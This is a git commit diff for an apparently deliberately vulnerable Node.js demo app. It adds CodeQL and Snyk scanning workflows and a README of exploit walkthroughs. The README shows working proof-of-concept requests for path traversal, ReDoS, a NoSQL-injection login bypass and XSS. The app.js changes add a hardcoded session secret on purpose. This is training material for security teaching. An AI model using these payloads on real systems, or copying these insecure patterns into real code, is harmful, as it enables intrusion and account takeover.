Merge branch 'snyk:master' into master

Author: akanchhaS

.github/workflows/codeql-analysis.yml

@@ -0,0 +1,71 @@
+# For most projects, this workflow file will not need changing; you simply need
+# to commit it to your repository.
+#
+# You may wish to alter this file to override the set of languages analyzed,
+# or to provide custom queries or build logic.
+#
+# ******** NOTE ********
+# We have attempted to detect the languages in your repository. Please check
+# the `language` matrix defined below to confirm you have the correct set of
+# supported CodeQL languages.
+#
+name: "CodeQL"
+
+on:
+  push:
+    branches: [ master ]
+  pull_request:
+    # The branches below must be a subset of the branches above
+    branches: [ master ]
+  schedule:
+    - cron: '32 19 * * 4'
+
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: ubuntu-latest
+    permissions:
+      actions: read
+      contents: read
+      security-events: write
+
+    strategy:
+      fail-fast: false
+      matrix:
+        language: [ 'javascript' ]
+        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
+        # Learn more:
+        # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
+
+    steps:
+    - name: Checkout repository
+      uses: actions/checkout@v2
+
+    # Initializes the CodeQL tools for scanning.
+    - name: Initialize CodeQL
+      uses: github/codeql-action/init@v1
+      with:
+        languages: ${{ matrix.language }}
+        # If you wish to specify custom queries, you can do so here or in a config file.
+        # By default, queries listed here will override any specified in a config file.
+        # Prefix the list here with "+" to use these queries and those in the config file.
+        # queries: ./path/to/local/query, your-org/your-repo/queries@main
+
+    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).
+    # If this step fails, then you should remove it and run the build manually (see below)
+    - name: Autobuild
+      uses: github/codeql-action/autobuild@v1
+
+    # ℹ️ Command-line programs to run using the OS shell.
+    # 📚 https://git.io/JvXDl
+
+    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
+    #    and modify them (or add more) to build your code if your project
+    #    uses a compiled language
+
+    #- run: |
+    #   make bootstrap
+    #   make release
+
+    - name: Perform CodeQL Analysis
+      uses: github/codeql-action/analyze@v1

.github/workflows/snyk-code-manual.yml

@@ -0,0 +1,16 @@
+name: "snyk code manual test"
+on: [push, pull_request]
+
+jobs:
+  build:
+    name: sarif testing action
+    runs-on: ubuntu-latest
+    permissions:
+      security-events: write
+    steps:
+      - uses: actions/checkout@v2
+      - name: Upload SARIF
+        uses: github/codeql-action/upload-sarif@v1
+        with:
+          sarif_file: sarif.json
+          # sarif_file: example111.json

.github/workflows/snyk-code.yml

@@ -0,0 +1,17 @@
+name: "snyk code test"
+on: [push, pull_request]
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+      - uses: snyk/actions/setup@master
+      - name: Snyk Test
+        run: snyk code test --org=${{ secrets.SNYK_ORG }} --sarif > snyk-sarif2.json
+        continue-on-error: true
+        env:
+           SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
+      - name: Upload SARIF file
+        uses: github/codeql-action/upload-sarif@v1
+        with:
+          sarif_file: snyk-sarif2.json

.github/workflows/snyk-test-sarif.yml

@@ -0,0 +1,17 @@
+name: "snyk test"
+on: [push, pull_request]
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+      - uses: snyk/actions/setup@master
+      - name: Snyk Test
+        run: snyk test --sarif-file-output=snyk-sarif1.json
+        continue-on-error: true
+        env:
+           SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
+      - name: Upload SARIF file
+        uses: github/codeql-action/upload-sarif@v1
+        with:
+          sarif_file: snyk-sarif1.json

.gitignore

@@ -6,3 +6,9 @@ node_modules
 sass
 config.rb
 npm-debug.log
+
+.dccache
+.dcignore
+.idea/
+.dccache
+

README.md

@@ -14,7 +14,7 @@ This vulnerable app includes the following capabilities to experiment with:
 ```bash
 mongod &
 
-git clone https://github.com/Snyk/snyk-demo-todo
+git clone https://github.com/snyk/goof.git
 npm install
 npm start
 ```
@@ -42,15 +42,129 @@ npm run cleanup
 
 ## Exploiting the vulnerabilities
 
-This app uses npm dependencies holding known vulnerabilities.
+This app uses npm dependencies holding known vulnerabilities,
+as well as insecure code that introduces code-level vulnerabilities.
+
+The `exploits/` directory includes a series of steps to demonstrate each one.
+
+### Vulnerabilities in open source dependencies
 
 Here are the exploitable vulnerable packages:
 - [Mongoose - Buffer Memory Exposure](https://snyk.io/vuln/npm:mongoose:20160116) - requires a version <= Node.js 8. For the exploit demo purposes, one can update the Dockerfile `node` base image to use `FROM node:6-stretch`.
 - [st - Directory Traversal](https://snyk.io/vuln/npm:st:20140206)
 - [ms - ReDoS](https://snyk.io/vuln/npm:ms:20151024)
 - [marked - XSS](https://snyk.io/vuln/npm:marked:20150520)
 
-The `exploits/` directory includes a series of steps to demonstrate each one.
+### Vulnerabilities in code
+
+* Open Redirect
+* NoSQL Injection
+* Code Injection
+* Command execution
+* Cross-site Scripting (XSS)
+* Information exposure via Hardcoded values in code
+* Security misconfiguration exposes server information 
+* Insecure protocol (HTTP) communication 
+
+#### Code injection
+
+The page at `/account_details` is rendered as an Handlebars view.
+
+The same view is used for both the GET request which shows the account details, as well as the form itself for a POST request which updates the account details. A so-called Server-side Rendering.
+
+The form is completely functional. The way it works is, it receives the profile information from the `req.body` and passes it, as-is to the template. This however means, that the attacker is able to control a variable that flows directly from the request into the view template library.
+
+You'd think that what's the worst that can happen because we use a validation to confirm the expected input, however the validation doesn't take into account a new field that can be added to the object, such as `layout`, which when passed to a template language, could lead to Local File Inclusion (Path Traversal) vulnerabilities. Here is a proof-of-concept showing it:
+
+```sh
+curl -X 'POST' --cookie c.txt --cookie-jar c.txt -H 'Content-Type: application/json' --data-binary '{"username": "[email protected]", "password": "SuperSecretPassword"}' 'http://localhost:3001/login'
+```
+
+```sh
+curl -X 'POST' --cookie c.txt --cookie-jar c.txt -H 'Content-Type: application/json' --data-binary '{"email": "[email protected]", "firstname": "admin", "lastname": "admin", "country": "IL", "phone": "+972551234123",  "layout": "./../package.json"}' 'http://localhost:3001/account_details'
+```
+
+Actually, there's even another vulnerability in this code.
+The `validator` library that we use has several known regular expression denial of service vulnerabilities. One of them, is associated with the email regex, which if validated with the `{allow_display_name: true}` option then we can trigger a denial of service for this route:
+
+```sh
+curl -X 'POST' -H 'Content-Type: application/json' --data-binary "{\"email\": \"`seq -s "" -f "<" 100000`\"}" 'http://localhost:3001/account_details'
+```
+
+The `validator.rtrim()` sanitizer is also vulnerable, and we can use this to create a similar denial of service attack:
+
+```sh
+curl -X 'POST' -H 'Content-Type: application/json' --data-binary "{\"email\": \"[email protected]\", \"country\": \"nop\", \"phone\": \"0501234123\", \"lastname\": \"nop\", \"firstname\": \"`node -e 'console.log(" ".repeat(100000) + "!")'`\"}" 'http://localhost:3001/account_details'
+```
+
+#### NoSQL injection
+
+A POST request to `/login` will allow for authentication and signing-in to the system as an administrator user.
+It works by exposing `loginHandler` as a controller in `routes/index.js` and uses a MongoDB database and the `User.find()` query to look up the user's details (email as a username and password). One issue is that it indeed stores passwords in plaintext and not hashing them. However, there are other issues in play here.
+
+
+We can send a request with an incorrect password to see that we get a failed attempt
+```sh
+echo '{"username":"[email protected]", "password":"WrongPassword"}' | http --json $GOOF_HOST/login -v
+```
+
+And another request, as denoted with the following JSON request to sign-in as the admin user works as expected:
+```sh
+echo '{"username":"[email protected]", "password":"SuperSecretPassword"}' | http --json $GOOF_HOST/login -v
+```
+
+However, what if the password wasn't a string? what if it was an object? Why would an object be harmful or even considered an issue?
+Consider the following request:
+```sh
+echo '{"username": "[email protected]", "password": {"$gt": ""}}' | http --json $GOOF_HOST/login -v
+```
+
+We know the username, and we pass on what seems to be an object of some sort.
+That object structure is passed as-is to the `password` property and has a specific meaning to MongoDB - it uses the `$gt` operation which stands for `greater than`. So, we in essence tell MongoDB to match that username with any record that has a password that is greater than `empty string` which is bound to hit a record. This introduces the NoSQL Injection vector.
+
+#### Open redirect
+
+The `/admin` view introduces a `redirectPage` query path, as follows in the admin view:
+
+```
+<input type="hidden" name="redirectPage" value="<%- redirectPage %>" />
+```
+
+One fault here is that the `redirectPage` is rendered as raw HTML and not properly escaped, because it uses `<%- >` instead of `<%= >`. That itself, introduces a Cross-site Scripting (XSS) vulnerability via:
+
+```
+http://localhost:3001/login?redirectPage="><script>alert(1)</script>
+```
+
+To exploit the open redirect, simply provide a URL such as `redirectPage=https://google.com` which exploits the fact that the code doesn't enforce local URLs in `index.js:72`.
+
+#### Hardcoded values - session information
+
+The application initializes a cookie-based session on `app.js:40` as follows:
+
+```js
+app.use(session({
+  secret: 'keyboard cat',
+  name: 'connect.sid',
+  cookie: { secure: true }
+}))
+```
+
+As you can see, the session `secret` used to sign the session is a hardcoded sensitive information inside the code.
+
+First attempt to fix it, can be to move it out to a config file such as:
+```js
+module.exports = {
+    cookieSecret: `keyboard cat`
+}
+```
+
+And then require the configuration file and use it to initialize the session.
+However, that still maintains the secret information inside another file, and Snyk Code will warn you about it.
+
+Another case we can discuss here in session management, is that the cookie setting is initialized with `secure: true` which means it will only be transmitted over HTTPS connections. However, there's no `httpOnly` flag set to true, which means that the default false value of it makes the cookie accessible via JavaScript. Snyk Code highlights this potential security misconfiguration so we can fix it. We can note that Snyk Code shows this as a quality information, and not as a security error.
+
+Snyk Code will also find hardcoded secrets in source code that isn't part of the application logic, such as `tests/` or `examples/` folders. We have a case of that in this application with the `tests/authentication.component.spec.js` file. In the finding, Snyk Code will tag it as `InTest`, `Tests`, or `Mock`, which help us easily triage it and indeed ignore this finding as it isn't actually a case of information exposure.
 
 ## Docker Image Scanning
 

app.js

@@ -12,8 +12,8 @@ var express = require('express');
 var http = require('http');
 var path = require('path');
 var ejsEngine = require('ejs-locals');
-var cookieParser = require('cookie-parser');
 var bodyParser = require('body-parser');
+var session = require('express-session')
 var methodOverride = require('method-override');
 var logger = require('morgan');
 var errorHandler = require('errorhandler');
@@ -23,6 +23,7 @@ var fileUpload = require('express-fileupload');
 var dust = require('dustjs-linkedin');
 var dustHelpers = require('dustjs-helpers');
 var cons = require('consolidate');
+const hbs = require('hbs')
 
 var app = express();
 var routes = require('./routes');
@@ -32,21 +33,30 @@ var routesUsers = require('./routes/users.js')
 app.set('port', process.env.PORT || 3001);
 app.engine('ejs', ejsEngine);
 app.engine('dust', cons.dust);
+app.engine('hbs', hbs.__express);
 cons.dust.helpers = dustHelpers;
 app.set('views', path.join(__dirname, 'views'));
 app.set('view engine', 'ejs');
 app.use(logger('dev'));
 app.use(methodOverride());
-app.use(cookieParser());
+app.use(session({
+  secret: 'keyboard cat',
+  name: 'connect.sid',
+  cookie: { path: '/' }
+}))
 app.use(bodyParser.json());
 app.use(bodyParser.urlencoded({ extended: false }));
 app.use(fileUpload());
 
 // Routes
 app.use(routes.current_user);
 app.get('/', routes.index);
-app.get('/admin', routes.admin);
-app.post('/admin', routes.admin);
+app.get('/login', routes.login);
+app.post('/login', routes.loginHandler);
+app.get('/admin', routes.isLoggedIn, routes.admin);
+app.get('/account_details', routes.isLoggedIn, routes.get_account_details);
+app.post('/account_details', routes.isLoggedIn, routes.save_account_details);
+app.get('/logout', routes.logout);
 app.post('/create', routes.create);
 app.get('/destroy/:id', routes.destroy);
 app.get('/edit/:id', routes.edit);